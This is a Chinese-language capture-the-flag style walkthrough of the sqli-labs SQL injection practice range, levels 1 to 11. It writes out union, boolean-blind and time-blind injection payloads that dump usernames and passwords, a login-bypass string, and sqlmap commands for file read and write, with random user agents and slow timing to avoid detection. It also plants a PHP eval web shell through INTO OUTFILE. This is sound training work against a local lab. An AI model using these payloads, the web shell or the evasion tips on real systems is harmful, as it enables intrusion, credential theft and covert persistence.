sqli-labs
sqli-labs
攻略:https://blog.csdn.net/dreamthe/article/details/123795302
总结:https://blog.csdn.net/dreamthe/article/details/124969922?spm=1001.2014.3001.5501
主要是温故知新,所以有些比较简单的步骤就不提了
搭建
就是下好靶场文档,加入小皮
创建数据库时可能会提示mysql_connect()太旧了,需要用mysqli或PDO,这里只要切换一下php的版本就行,我用的是5.3.29
直接往下划就可以看淡Basic Challenges了,我们从这里开始
Basic Challenges
Less-1 Get-Error based - single-quotes
Get型,参数在地址栏就可以控制,单引号闭合,有了提示,我们先进行第一步,找注入点,也就是找一个参数可控的地方,如果连注入点都没有,那也就无法利用sql注入了
提示:请传入id作为参数
可以,有回显,测试下注入类型,输入带上一个单引号,字符型
判断闭合方式,题目提示了single quote
下面就是判断字段数了,用order by即可,这里是到3个字段
判断回显位置,这里要注意把id改成-1,这样查回来没有回显,就会显示我们用union查询的内容
原理:
select * from users where id=1 union select 1,2,3 from users; |
可以看到如果不做一个空的查询,原来的数据还是会被查出来,好了,现在有了回显位置,可以查具体的内容了
先查库:
union select 1,database(),version()--+ |
有了库名,我们可以来查表名了
union select 1,2,table_name from information_schema.tables where table_schema=database()--+ |
可以看到,这样查的话,我们的表名是不全的,没有我们想要的,所以我们需要用到group_concat函数,可以拼接查询结果https://blog.csdn.net/wenxuankeji/article/details/136046922
union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()--+ |
这样子就可以看到查询的所有表了,在不限制回显长度的情况下,下面来查字段名,一样的套路
union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name="users" --+ |
有了字段名,我们就可以查具体内容了
union select 1,username,password from users--+ |
那怎么才能把他们全显示出来呢,同样可以用group_concat函数
union select 1,2,group_concat(username,'~',password) from users--+ |
源码:
$sql="SELECT * FROM users WHERE id='1' LIMIT 0,1"; |
当我们输入一个’号时,语句就变成
$sql="SELECT * FROM users WHERE id='1' --+' LIMIT 0,1"; |
后面的limit的限制就没了,不然每次都只能看到第一条数据,无法多行显示
Less-2 Intiger based
数字型注入,和第一关的引号不同的是,不用引号了,也就不用判断闭合方式了,这里先看下源码
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1"; |
这里我们就不用单引号了,不然会报错,只要把后面的闭合即可
?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()--+ |
Less3 Single quote with twist
根据提示,这一题可能是两个引号,测试了下确实可以,但根据报错提示,我们的另一个闭合是括号
看下源代码
$sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1"; |
当我们输入’) –+时,语句就变成了
select * from users where id=('1') -- ') limit0,1"; |
所以我们最后的流程
?id=-1') union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()--+ |
Less-4 Double quote with twist
先看下源码
$id = '"' . $id . '"'; |
和less3的区别就是id用双引号包裹,所以我们只要将3的payload的单引号改成双引号即可
?id=-1") union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()--+ |
Less-5 Double Injection - Single Quotes - String
字符型,双重注入,单引号闭合
可以看到当我们传入普通参数时,回显变了,测试下异常输入
也是有报错回显的,但没有地方显示返回的字段,虽然有些页面可能会把返回字段放在html页面的注释了要看源代码才能发现,如Bluecms,这里我们传入一个-1试试
可以发现You are in…没了,所以我们得用如布尔盲注的方式来注入,但仍需要判断闭合类型,这里是单引号闭合
布尔盲注主要用到length(),ascii() ,substr()这三个函数,首先通过length()函数确定长度再通过另外两个确定具体字符是什么。
首先来判断长度,比如我们的数据库是Security,8个字符
?id=1' and length((select database()))>9--+ |
按照逻辑,这里应该是无回显的页面
?id=1' and length((select database()))>7--+ |
这里则应返回有回显的界面
大于7小于9的整数就是8了,所以判断库名长度为8,然后就是一个一个爆库名了,比较费时间这个,等等用sqlmap和自己写代码来试一试
?id=1'and ascii(substr((select database()),1,1))=115--+ |
通过对返回的字符进行截取,然后判断ascii码来确定库名,从字符串中提取子字符串(从位置5开始,提取3个字符):
select substr((select database()),1,1); |
再套上一个ascii函数试试
select ascii(substr((select database()),1,1)); |
根据这个来判断,如果要查第二个字符,就把substr函数里的第二个参数改成2即可,然后范围是1-8,而表则是把第一个参数换成之前查表的方法
select substr((select group_concat(table_name) from information_schema.tables where table_schema=databse()),1,1); |
也就是之前查的那一串,逗号也会存在,所以需要注意转换,列名也就是换换,如查字段名
select substr((select group_concat(username,'~',password) from users),1,1) |
手动我就不测了,先用sqlmap试一下https://blog.csdn.net/qq_43621629/article/details/104526605
python sqlmap.py -u "http://192.168.174.198/sql/Less-5/?id=1" --batch |
可以看到这里有三种方式,包括我们的布尔盲注,我们可以用–technique B来指定注入方式(不指定也行,默认顺序就是布尔先),然后用-v参数控制输出内容
python sqlmap.py -u "http://192.168.174.198/sql/Less-5/?id=1" --dbs --batch --technique B -v 3 --这里-v 3也可以用vvv替代 |
- 只输出 Python 出错回溯信息,错误和关键信息。
- 增加输出普通信息和警告信息。
- 增加输出调试信息。
- 增加输出已注入的 payloads。
- 增加输出 HTTP 请求。
- 增加输出 HTTP 响应头
- 增加输岀 HTTP 响应内容。
可以看到sqlmap里用的是ord和mid的函数结合
我们也可以自己写一个这种脚本,首先是访问网页,所以导入requests包,燃耗确定号url和True时返回的页面
# encoding = utf-8 |
根据请求类型(get/post),确定好payload的尝试方法,因为布尔盲注主要是利用ascii和substr来判断,获取数据的语句和之前union的还是一样的,所以先确认一个基本的模板
def test_payload(payload): |
抓包看了下,空格变成+号了,https://voidcat.cn/index.php/2020/06/06/python-requests-space/,原来直接传参回变成+,要编码一下,这个自动转义有点难搞,弄成字符串拼接试试
def payload_test(payload): |
可以了
下面就可以复制一下,把其它的长度求出来了
def get_table_name_length(): |
按道理,这个长度以及后面的ascii判断用二分查找都会更快,且查字段要后续确认,这里为了方便就先这样写了。好像f“”的写法,遇到users时会有问题,好像也得改成拼接得方式
def get_column_name_length(): |
最终成果
下面就是具体内容的爆破了,我们先用python复习一下二分查找,因为我们这个判断的ascii自己就是有序的,且数量不多,我们可以跳过排序环节,直接上查找
#encoding = utf-8 |
所以查ascii就是在字符中选择,这里我们可以看下菜鸟提供的ascii表
我们这里挑出[0-10]、[a-zA-Z]、[_,~],就这三组的范围来看,对应的ascii码范围是[48-57]、[64-90|97-122]、[95,126]这样子来看,分段好像更麻烦,直接统一成[48-126]应该就行,把这个作为二分的有序列表,来查询,先写一个枚举的
def blind_sqli_exploit(): |
感觉也还好,但这是在长度比较短的情况下,给他改成二分的形式,
def blind_sqli_exploit(): |
这是能跑正确的代码,如果不多加一个payload验证,他就会死循环,把条件改成left < right有时候又会差个把两个字母不对,奇怪,感觉应该是下标的问题,上面二分的查找的条件是等于,这个是大于。
以此类推,可以写出其它的代码,且字段数可能比较多,要把长度也改成用二分法判断。
先附上目前为止的完整代码
# encoding = utf-8 |
Less-6
就是把第五关的payload的单引号改成双引号
Less-7 Dump into outfile - String
详细介绍:outfilehttps://blog.csdn.net/weixin_44377973/article/details/109265546
这一关也能用布尔盲注,但题目要求用outfile,
首先往mysql的配置文件my.ini
中加入secure_file_priv="/"
然后往修改php的配置文件php.ini
保证magic_quotes_gpc = Off
https://blog.csdn.net/qq_41173457/article/details/81268894
如果是On的话,我们的文件路径的/等符号就要进行转义了
设置完我们可以查看一下有没有生效
SHOW VARIABLES LIKE '%secure_file_priv%' |
我们保存的文件可以在C盘的根目录下
我们先测试一下闭合方式,当我们输入id=1’时显示报错,但是没有报错信息,这和我们之前的关卡不一样,之前都有报错信息。当我们输入id=1”时显示正常所以我们可以断定参数id时单引号字符串。因为单引号破坏了他原有语法结构。然后我输入id=1’–+时报错,这时候我们可以输入id=1’)–+发现依然报错,之时我试试是不是双括号输入id=1’))–+,发现页面显示正常。这是攻略中的思路,有了闭合方式,我们就可以尝试写文件了,要绝对路径
?id=-1')) union select 1,database(),3 into outfile "C:/phpstudy_pro/WWW/sql/Less-7/info.txt" --+ |
既然能写文件,我们可以来尝试下能不能下木马文件
?id=1')) union select 1,2,'<?php @eval($_POST["a"]);?>' into outfile 'C:/phpstudy_pro/WWW/sql/Less-7/shell.php'--+ |
其它方法https://www.cnblogs.com/ersuani/p/13887938.html,连接一下
sqlmap也有写文件的功能,先判断是否有注入点
python sqlmap.py -u "http://192.168.174.142/sql/Less-7/?id=1" --batch |
然后判断是否是root用户
python sqlmap.py -u "http://192.168.174.142/sql/Less-7/?id=1" --batch --is-dba |
如果是最高权限的话,我们可以进行文件下载,文件上传等等的操作,不是的话就爆库爆表。
这里是root权限,我们试试文件读取下载
python sqlmap.py -u "http://192.168.174.142/sql/Less-7/?id=1" --batch --file-read "c://phpstudy_pro//WWW//sql//Less-7//info.txt" |
看来要改下保存文件的路径了
还可以试试文件上传
python sqlmap.py -u "http://192.168.174.142/sql/Less-7/?id=1" --file-write "C:/Users/yxz/Desktop/sqlmap/1.txt" --file-dest "C:\phpstudy_pro\WWW\sql\Less-7\info.txt" -v1 --technique B |
应该是权限问题,没有写进去,原理就是利用下面两个函数
outfile 函数:可写多行,数据格式可能会受操作系统影响
dumpfile 函数:可写单行,数据格式不会受操作系统影响
Less-8 布尔盲注单引号
和第五关差不多,就不多说了
Less-9 时间盲注
这里你会发现输入什么都会返回You are in…这样,我们就需要通过时间盲注的方法来注入,先简单介绍下原理,if(a,sleep(10),1)如果a结果是真的,那么执行sleep(10)页面延迟10秒,如果a的结果是假,执行1,页面不延迟。通过页面时间来判断出id参数是单引号字符串。有了这个判断再结合上布尔盲注就可以了,这里不判断闭合类型是因为题目提示了单引号。
?id=1' and if(1=1,sleep(5),1) --+ |
这个截图不好反应变化,可以看看F12里的网络里的时间,我这里选择抓包看看时间来测试
下面试试正常的包的响应时间
有了这个区别,我们就可以把if里面的条件换成布尔盲注的payload,来注入
判断数据库名长度
?id=1'and if(length((select database()))>9,sleep(5),1)--+ |
?id=1'and if(ascii(substr((select database()),1,1))=115,sleep(5),1)--+ |
这个手工测试也是比较累人的,还是用sqlmap跑把
可以看到sqlmap检测出有布尔和时间两种注入,我们这里通过technique来指定时间注入的模式
python sqlmap.py -u "http://192.168.174.142/sql/Less-9/?id=1" --batch -dbs --technique T |
我们还可以通过设置–time-sec参数来控制时间,有时候不能太快,我们要调慢点,虽然等的久,但是不容易被发现,结合上-random-agent
随机ua降低风险
python sqlmap.py -u "http://192.168.174.142/sql/Less-9/?id=1" --batch -dbs --technique T --time-sec 3 -random-agent |
Less-10
第十关和第九关一样只需要将单引号换成双引号。
Less-11 Base error-单引号
可以发现,我们的页面都变了,有了个登入框,在介绍报错注入前,先介绍一个万能账号把
1' or 1=1 # |
当我们输入这个账号,能直接登入成功,算是登录框注入的一个,我们先按联合注入的方式,测试一下
我们可以猜测语句中有username=xx and password =xx,然后就是测试字段,走流程即可,这里的语句最后不能用 –了要用#
1' order by 3 # |
剩下的就参考前面的来联合注入即可